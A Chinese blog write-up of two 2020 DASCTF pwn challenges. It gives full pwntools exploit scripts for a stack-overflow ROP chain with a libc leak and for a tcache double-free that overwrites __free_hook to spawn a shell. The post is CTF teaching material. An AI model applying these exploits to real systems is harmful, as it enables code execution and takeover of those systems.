2020 DASCTF 四月赛pwn

Posted by nop on 2020-04-25
Words 2.7k In Total

安恒的月赛,pwn题似乎看起来还是基础,无奈还是太菜,get不到做题的点只能赛后复现一下这样子

If you don’t go into the water, you can’t swim in your life

文中所用到的程序文件:bin file

echo_server

输入在栈上,且输入长度可控,明显的栈溢出。

没用canary保护,直接构造ROP链,但是在通过printf函数泄露libc时函数执行过程中会出现段错误。不过可以直接让程序跳转到main函数中的printf函数处,人为的在设置rdi的值进而泄露libc。

这里选用 0x000000000040071F 处的call printf,即提示我们输入name size对应的printf,之后输入对应大小的size,构造ROP链完成攻击。

注意: 因为我们让程序跳回到main函数中执行,所以栈帧并未销毁,再使用原来的栈帧时会出现段错误,所以这里需要在泄露libc的同时做栈迁移,为后续的ROP链做准备

此外,因为原题目给了 libc.so.6, 所以这里也可以直接使用 one_gadget 获取shell

exploit

泄露read地址

1
2
3
4
5
6
7
payload = 'A'*0x80
payload += flat([bss, pop_rdi, elf.got['read'], 0x4006F3])
p.send(payload)

p.recvuntil('A'*0x80)
read_addr = u64(p.recv()[3:].ljust(8,'\x00'))
log.success('read_addr = %#x',read_addr)

通过LibcSearcher计算得到system、/bin/sh地址,并构造rop链获得shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
libc = LibcSearcher('read',read_addr)
libc_base = read_addr - libc.dump('read')
system_addr = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')
log.info("system_addr = %#x, binsh = %#x"%(system_addr,binsh))

p.sendline(str(0x100))

p.recvuntil('?')
payload = 'A'*(0x80+8)
payload += flat([ret, pop_rdi, binsh, system_addr,0xabcd])
p.send(payload)
sleep(0.1)
p.interactive()

通过给定的libc计算one_gadget地址获取shell(当然也可以计算system、/bin/sh)

1
2
3
4
5
6
7
8
9
libc_base = read_addr - libc.sym['read']
one_gadgets = libc_base + one_gadget
log.success("one_gadget = %#x",one_gadgets)
p.sendline(str(0x100))
payload = 'A'*(0x80+8)
payload += flat([ret,one_gadgets])
p.send(payload)
sleep(0.1)
p.interactive()

完整脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *
from LibcSearcher import *
context.arch = 'amd64'

p = process('./test')
elf = ELF('./test',checksec=False)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)

p.recvuntil(':')
p.sendline(str(0x100))
p.recvuntil('?')

bss = 0x601068 + 0x800
pop_rdi = 0x400823
ret = 0x40055e
one_gadget = 0x4526a
# execve("/bin/sh", rsp+0x30, environ)
# constraints:
# [rsp+0x30] == NULL

payload = 'A'*0x80
payload += flat([bss, pop_rdi, elf.got['read'], 0x4006F3])
p.send(payload)

p.recvuntil('A'*0x80)
read_addr = u64(p.recv()[3:].ljust(8,'\x00'))
log.success('read_addr = %#x',read_addr)

def way1():
libc = LibcSearcher('read',read_addr)
libc_base = read_addr - libc.dump('read')
system_addr = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')
log.info("system_addr = %#x, binsh = %#x"%(system_addr,binsh))

p.sendline(str(0x100))

p.recvuntil('?')
payload = 'A'*(0x80+8)
payload += flat([ret, pop_rdi, binsh, system_addr,0xabcd])
p.send(payload)
sleep(0.1)
p.interactive()

def way2():
libc_base = read_addr - libc.sym['read']
one_gadgets = libc_base + one_gadget
log.success("one_gadget = %#x",one_gadgets)
p.sendline(str(0x100))
payload = 'A'*(0x80+8)
payload += flat([ret,one_gadgets])
p.send(payload)
sleep(0.1)
p.interactive()

way2()
# way1()

sales_office

这到题目给了两个环境,即 glibc-2.27 和 glibc-2.29

功能分析

菜单类型的题目,四个功能选项,但是编辑内容的功能项并不能编辑内容,所以实际上有用的功能只有三个:

  • buy,申请堆块并写入指定内容,这里大小可控,但是不能大于0x60。此外,每申请一次实际上会申请两个堆块,一个大小固定为0x10,用作存贮用户实际上申请的堆块地址;另一个即用户指定大小的堆块。这里需要注意的是,写入堆块内容时是通过0x10的堆块中存储的地址操作的,并不是对malloc返回的地址,也就是说如果0x10的堆块内容被修改,那么实际上写入的内容就会写入到修改的地址所指向的位置
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if ( num > 12 )
puts("You have no money.");
v0 = num;
area[v0] = (void **)malloc(0x10uLL);
puts("Please input the size of your house:");
v3 = read_int("Please input the size of your house:");
if ( v3 > 96 )
return puts("You can't afford it.");
if ( v3 < 0 )
return puts("?");
*((_DWORD *)area[num] + 2) = v3;
v2 = area[num];
*v2 = malloc(v3);
puts("please decorate your house:");
read(0, *area[num], v3);
puts("Done!");
return num++ + 1;
  • show,输出对应堆块的内容,注意这里是通过固定大小的堆块来获取用户申请的堆块的内容的
1
2
3
4
5
6
7
8
puts("index:");
v1 = read_int("index:");
if ( area[v1] )
{
puts("house:");
puts((const char *)*area[v1]);
}
return puts("Done!");
  • sell,删除堆块,每个index对应两个堆块,释放时指针未置零,产生悬挂指针
1
2
3
4
5
6
7
8
9
10
puts("index:");
v1 = read_int("index:");
if ( v1 < 0 || v1 > 12 )
exit(0);
if ( area[v1] )
{
free(*area[v1]);
free(area[v1]);
}
return puts("Done!");

glibc-2.27

利用思路:

  • 通过UAF泄露heap_base地址
  • 通过UAF以及得到的heap_base,泄露libc
  • 修改free_hook为system,拿到shell

泄露堆基址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
buy(0x10,'A') # id0
buy(0x10,'B') # id1
buy(0x10,'C') # id2
buy(0x10,'D') # id3
sell(1)
sell(0)
sell(0)

# dbg()
# pwndbg> x/16g 0x1c18250
# 0x1c18250: 0x0000000000000000 0x0000000000000021
# 0x1c18260: 0x0000000001c18280 0x0000000000000010
# 0x1c18270: 0x0000000000000000 0x0000000000000021 <-- id0
# 0x1c18280: 0x0000000001c18260 0x0000000000000000
# 0x1c18290: 0x0000000000000000 0x0000000000000021
# 0x1c182a0: 0x0000000001c182c0 0x0000000000000010
# 0x1c182b0: 0x0000000000000000 0x0000000000000021 <--id1

通过两次释放id0,使其fd指向堆上的地址,然后通过固定偏移计算出堆基址:

1
2
heap_base = uu64(show(0)) - 0x260
leak("heap_base",heap_base)

之后再次申请一个大小为0x10的堆块,此时会分配到 id0的位置,但是id0的位置依旧为空闲状态

1
2
3
4
5
6
7
8
9
10
buy(0x10,p64(heap_base+0x2a0)) # id4
# addr prev size status fd bk
# 0x104d000 0x0 0x250 Used None None
# 0x104d250 0x0 0x20 Freed 0x104d280 None
# 0x104d270 0x0 0x20 Freed 0x104d2a0 None <--id0
# 0x104d290 0x0 0x20 Freed 0x104d2c0 None
# 0x104d2b0 0x0 0x20 Freed 0x0 None <--id1
# 0x104d2d0 0x0 0x20 Used None None
# 0x104d2f0 0x0 0x20 Used None None
# 0x104d310

将id0对应的fd指针修改为指向id1的堆块对应的content(fd),然后就构成单链表:id0_pre ->id0 ->id1_pre ->id1,此时再申请一个大小不为0x10的堆块,用作申请掉 id0_pre

1
2
3
4
5
6
7
8
9
10
11
12
buy(0x20,'FFFFF') # id5
# addr prev size status fd bk
# 0x21b0000 0x0 0x250 Used None None
# 0x21b0250 0x0 0x20 Used None None
# 0x21b0270 0x0 0x20 Freed 0x21b02a0 None <--id0
# 0x21b0290 0x0 0x20 Freed 0x21b02c0 None
# 0x21b02b0 0x0 0x20 Freed 0x0 None <--id1
# 0x21b02d0 0x0 0x20 Used None None
# 0x21b02f0 0x0 0x20 Used None None
# 0x21b0310 0x0 0x20 Used None None
# 0x21b0330 0x0 0x20 Used None None
# 0x21b0350 0x0 0x30 Used

之后再申请堆块时,我们输入的内容就位于 id1_pre,前面提到,程序打印堆块内容时是通过前一个大小为0x10的堆块实现的,所以这里再申请堆块时,写入某个函数的got表地址,就可以通过show泄露libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
buy(0x10,p64(elf.got['read'])) # id6
# addr prev size status fd bk
# 0x1da6000 0x0 0x250 Used None None
# 0x1da6250 0x0 0x20 Used None None
# 0x1da6270 0x0 0x20 Used None None <--id0
# 0x1da6290 0x0 0x20 Used None None
# 0x1da62b0 0x0 0x20 Freed 0x0 None <--id1
# 0x1da62d0 0x0 0x20 Used None None
# 0x1da62f0 0x0 0x20 Used None None
# 0x1da6310 0x0 0x20 Used None None
# 0x1da6330 0x0 0x20 Used None None
# 0x1da6350 0x0 0x30 Used

read_addr = uu64(show(1))
leak("read_addr",read_addr)

得到 read_addr 之后通过给定的libc计算free_hook、system的地址:

1
2
3
4
5
system_addr = read_addr - (libc.sym['read'] - libc.sym['system'])
leak("system_addr",system_addr)

free_hook = read_addr - (libc.sym['read'] - libc.sym['__free_hook'])
leak("free_hook",free_hook)

如法炮制,通过两次释放id3,得到一个单链表id3_pre ->id3 ->id3_pre ->id3,之后申请一个大小为0x10的堆块,将id3的内容修改为free_hook的地址,此时单链表变为id3_pre->id3

1
2
3
4
5
6
7

buy(0x10,p64(free_hook)) # id7
# addr prev size status fd bk
# ......
# 0x183a310 0x0 0x20 Freed 0x183a340 None
# 0x183a330 0x0 0x20 Freed 0x7fe0e4c078c8 None <id3
# 0x183a350 0x0 0x30 Used

紧接着申请一个大小不为0x10的堆块,写入字符串’/bin/sh\x00’,此时单链表变为id3->0x0,并且id的内容为free_hook的地址。如果此时再申请一个堆块,并写入system的地址,那么free_hook地址对应的位置就会被修改为system的地址,进而拿到shell

1
2
3
4
5
6
7
8
9
10
11
12
13
buy(0x10,p64(system_addr))
# pwndbg> x/16g 0x885330
# 0x885330: 0x0000000000000000 0x0000000000000021
# 0x885340: 0x00007f24932018c8 0x0000000000000010
# 0x885350: 0x0000000000000000 0x0000000000000031
# 0x885360: 0x0000004646464646 0x0000000000000000
# 0x885370: 0x0000000000000000 0x0000000000000000
# 0x885380: 0x0000000000000000 0x0000000000000031
# 0x885390: 0x0068732f6e69622f 0x0000000000000000
# 0x8853a0: 0x0000000000000000 0x0000000000000000
# pwndbg> x/16g 0x00007f24932018c8
# 0x7f24932018c8 <__free_hook>: 0x00007f2492ea0c47 0x0000000000000000
# 0x7f24932018d8 <next_to_use>: 0x0000000000000000 0x0000000000000000

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
from pwn import *
context.arch='amd64'
context.log_level='DEBUG'

# nop@nop-pwn:~/Desktop$ patchelf --set-interpreter /home/nop/libs/2.27/glibc-2.27/64/lib/ld-2.27.so sales_office
# nop@nop-pwn:~/Desktop$ patchelf --set-rpath /home/nop/libs/2.27/glibc-2.27/64/lib/ sales_office


p = process('./sales_office')
elf = ELF('./sales_office',checksec=False)
libc = ELF('/home/nop/libs/2.27/glibc-2.27/64/lib/libc.so.6',checksec=False)

s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,'\0'))
uu64 = lambda data :u64(data.ljust(8,'\0'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

def buy(size,content):
ru("choice:")
s(1)
ru("Please input the size of your house:")
s(size)
ru("please decorate your house:")
s(content)

def show(index):
ru("choice:")
s(3)
ru("index:")
s(index)
ru("house:")
ru('\n')
data = ru('\n')
return data

def sell(index):
ru("choice:")
s(4)
ru("index:")
s(index)

def dbg():
gdb.attach(p)
pause()

buy(0x10,'A') # id0
buy(0x10,'B') # id1
buy(0x10,'C') # id2
buy(0x10,'D') # id3
sell(1)
sell(0)
sell(0)

heap_base = uu64(show(0)) - 0x260
leak("heap_base",heap_base)

buy(0x10,p64(heap_base+0x2a0)) # id4

buy(0x20,'FFFFF') # id5

buy(0x10,p64(elf.got['read'])) # id6

read_addr = uu64(show(1))
leak("read_addr",read_addr)

system_addr = read_addr - (libc.sym['read'] - libc.sym['system'])
leak("system_addr",system_addr)

free_hook = read_addr - (libc.sym['read'] - libc.sym['__free_hook'])
leak("free_hook",free_hook)

sell(3)
sell(3)

buy(0x10,p64(free_hook)) # id7

buy(0x20,'/bin/sh\x00') #id8

buy(0x10,p64(system_addr))

sell(8)
itr()

另一种思路

大致过程如下:

  1. tcache下的double free,然后利用UAF泄露libc
  2. 如法炮制,double free之后tcache poisoning实现任意地址写
  3. 修改free_hook拿到shell

申请两个个chunk,一个用于任意地址读,第二个用作任意地址写:

1
2
buy(0x10,0x10*'a') # id0
buy(0x10,0x10*'b') # id1

然后泄露libc:

1
2
3
4
5
6
7
sell(0)
sell(0)

buy(0x20,'AAAA') # id0
buy(0x10, p64(ELF('./pwn',checksec=False).got['read']))
read_addr = uu64(show(0))
leak('read_addr',read_addr)

两次释放:tcache: dt_0 -> id_0 -> dt_0 -> id_0

然申请一个0x20大小的堆块:tcache: dt_0 -> id_0 -> dt_0

之后申请一个0x10的堆块: tcache: dt_0,并且此时,dt_0 为新的堆块的“索引块”,id_0则为新的堆块的“数据块”,此时我们写入了read的got表地址,当使用show(0)时,就实际上输出的是read@got指向的地址即内存地址。通过这种方式,就可以直接泄露libc了

之后利用id1完成任意地址写,过程与读类似:

1
2
3
4
5
6
7
8
sell(1)
sell(1)

buy(0x10, p64(free_hook)) # id3
buy(0x20,'/bin/sh\x00') # id4
# pause()
buy(0x10, p64(system_addr)) # id5
# pause()

第一次申请:tcache: dt_1 -> id_1, 此时dt_1写入了free_hook的地址,即修改了next指针,即dt_1对应的堆块分配之后,再次分配时就会分配到free_hook

第二次申请:tcache: dt_1,这时id_1变成了新的堆块(0x20)的“索引块”

第三次申请:得到的堆块的“索引块”就变成了id_1,而“数据块就分配到了free_hook,所以此时写入system地址实际上写到了free_hook处

之后释放堆块的操作,传入的指针指向的值是”/bin/sh\x00”,所以此时实际执行的是system("/bin/sh\x00"),成功拿到shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from pwn import *
from LibcSearcher import *
context(arch='amd64',os='linux',log_level='DEBUG')

sl = lambda data :p.sendline(str(data))
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu64 = lambda data :u64(data.ljust(8,'\0'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

def buy(size,content):
ru("choice:")
s(1)
ru("Please input the size of your house:")
s(size)
ru("please decorate your house:")
s(content)

def show(index):
ru("choice:")
s(3)
ru("index:")
s(index)
ru("house:")
ru('\n')
data = ru('\n')
return data

def sell(index):
ru("choice:")
s(4)
ru("index:")
s(index)

p = process('./pwn')
libc = ELF('./libc.so.6',checksec=False)


buy(0x10,0x10*'a') # id0
buy(0x10,0x10*'b') # id1

sell(0)
sell(0)

buy(0x20,'AAAA')
buy(0x10, p64(ELF('./pwn',checksec=False).got['read']))
read_addr = uu64(show(0))
leak('read_addr',read_addr)
# pause()

libc_base = read_addr - libc.sym['read']
leak('libc_base',libc_base)
system_addr = libc_base + libc.sym['system']
leak('system',system_addr)
free_hook = libc_base + libc.sym['__free_hook']
leak('free_hook',free_hook)
# pause()

sell(1)
sell(1)

buy(0x10, p64(free_hook)) # id3
buy(0x20,'/bin/sh\x00') # id4
# pause()
buy(0x10, p64(system_addr)) # id5
# pause()

sell(4)
itr()

You are welcome to share this blog, so that more people can participate in it. If the images used in the blog infringe your copyright, please contact the author to delete them.